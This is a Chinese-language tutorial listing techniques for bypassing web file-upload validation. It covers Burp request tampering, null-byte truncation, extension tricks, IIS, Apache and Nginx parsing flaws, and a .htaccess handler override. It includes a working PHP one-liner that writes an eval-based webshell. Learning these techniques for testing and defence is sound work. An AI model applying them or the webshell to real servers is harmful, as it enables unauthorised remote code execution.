1,檢測javascript類型的繞過(客戶端)
–
通常post請求發送到web服務器,客戶端javascript驗證
上傳1.php彈窗說上傳格式錯誤,只允許.jpg,.jpeg等格式的文件
上傳一句話1.php–>1.jpg 然后burp抓包1.jpg–>1.php,這樣就繞過了js檢測
或者F12查看源代碼,找到onsubmit=”return checkFile()”,將它刪除並編輯保存。
這個時候頁面就不檢測了,直接上傳成功,
或者修改允許的函數checkfile(),添加我們想上傳的文件格式,也是可以上傳成功的。
2,檢測MIME類型的繞過(服務端)
–
服務端MIME類型檢測(檢測Content-Type內容),burp抓包,修改Content-Type
Content-Type:text/plain –>php
Content-Type:image/jpeg –>image
上傳1.jpg—>修改image/jpeg為text/plain,成功繞過。
常見的MIME類型:
超文本標記語言文本 .html text/html
xml文檔 .xml text/xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文檔 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG圖像 .png image/png
GIF圖形 .gif image/gif
JPEG圖形 .jpeg,.jpg image/jpeg
au聲音文件 .au audio/basic
MIDI音樂文件 mid,.midi audio/midi,audio/x-midi
RealAudio音樂文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二進制數據 application/octet-stream
3,檢測目錄路徑類型的繞過(服務端)
–
上傳1.jpg,burp進行抓包,Content-Disposition:from-data;name=”path”后面一行upload是我們保存的地址。
現在我們將upload改為upload/1.php(空格) ,接着我們來到 Proxy->intercept->Hex找到1.php(空格)這個被修改過的代碼,找到同一行的數字20,改為00 ,成功繞過
其實跟%00截斷原理類似
4,檢測文件內容的繞過(服務端)
檢測內容是否合法或含有惡意代碼
文件幻數檢測
jpg–>JFIF
gif–>GIF89A
PNG–>PNG
文件相關信息檢測
常用的是getimaegsize()函數檢測
有文件頭,加一些雜亂的東西,迷惑,空的地方添加木馬
文件加載檢測
API函數檢測的
一次渲染可以繞過,二次渲染就沒戲繞過。
5,檢測黑名單類型的繞過(服務端)
將危險的后綴名寫到一個文件里面,禁止指着后綴名的文件執行
文件名繞過:
大小寫組合繞過pHp,PhP,混搭繞過php1,php2,php3,php4,php5
列表名繞過:
cer,ashx,asa,cer,cdx,htr,繞過(黑名單可能會漏掉的)
特殊字符繞過:
a.asp改成a.asp_
0x00截斷繞過:
上傳1.php.jpg burp抓包改成1.php%00.jpg,或者hex–>20改成00當解析的時候,看到空格,后面的那段就不解析了
或者upload/1.asp(空格)/上傳,hex修改20–>00繞過上傳
apache解析繞過:
help.asp.134.×2,從前向后嘗試解析,直到遇到自己認識的擴展名為止。
雙擴展名解析繞過:
apache的conf配置有AddHandler php5-script.php沒有注釋掉,
則,文件名1.php.jpg就能當作php執行
.htaccess文件攻擊:
自定義.htaccess上傳,下面是內容
<FileMatch “aaa”>
SetHandler application/x-httpd-php
</FileMatch>
同目錄下,上傳一個aaa文件,沒有擴展名,內容是一句話,這個時候就成功繞過。
6,檢測白名單類型的繞過(服務端)
–
解析漏洞繞過
iis6.0解析繞過:
目錄繞過:
IIS6.0目錄路徑檢測解析,文件的名字為“*.asp/xxx.jpg”同樣唄解析成asp
burp進行抓包,其中Content-Disposition:form-data;name=”path”我們把原本的 upload/ 改為 uploading/1.asp/,filename=”yijuhua.asp”修改為filename=”yijuhua.asp/1.jpg”。
或者創建文件夾a.php里面放一句話圖片1.jpg a.php/1.jpg—>php執行
文件繞過:
首先我們請求 /aaa.php;xxx.jpg,從頭部查找查找 “.”號,獲得 .php;xxx.jpg
查找”;”,如果有則內容截斷,所以/aaa.php;xxx.jpg會當做/aaa.php進行解析,除此之外我們還有下面的構造方式繞過:a.php;.jpg,a.php;jpg–>php執行
iis7.0/7.5解析繞過:
在默認Fast-CGI開啟的情況下上傳一個文件1.jpg
內容:<?php fputs(fopen(‘shell.php’,’w’),'<?php eval($_POST[cmd])?>’);?>
然后訪問1.jpg/.php 這樣就會在同級目錄下生成木馬shell.php
Nginx<8.0.3解析繞過:
上傳1.jpg—-burp修改–>1.jpg%00.php空字節繞過上傳
apache解析繞過:
a.php.x1.x2 apache從前向后嘗試解析,直到遇到自己認識的擴展名為止。
.htaccess文件攻擊:自定義.htaccess繞過
<FileMatch “aaa”>
SetHandler application/x-httpd-php
</FileMatch>
同目錄下,上傳一個aaa文件,沒有擴展名,然后內容是“aaa”+一句話,成功繞過。
7,自動修改后綴的繞過:
–
上傳php,服務端自動修改成了gif
burp抓包,1.php–>修改成1.pphphp成功繞過
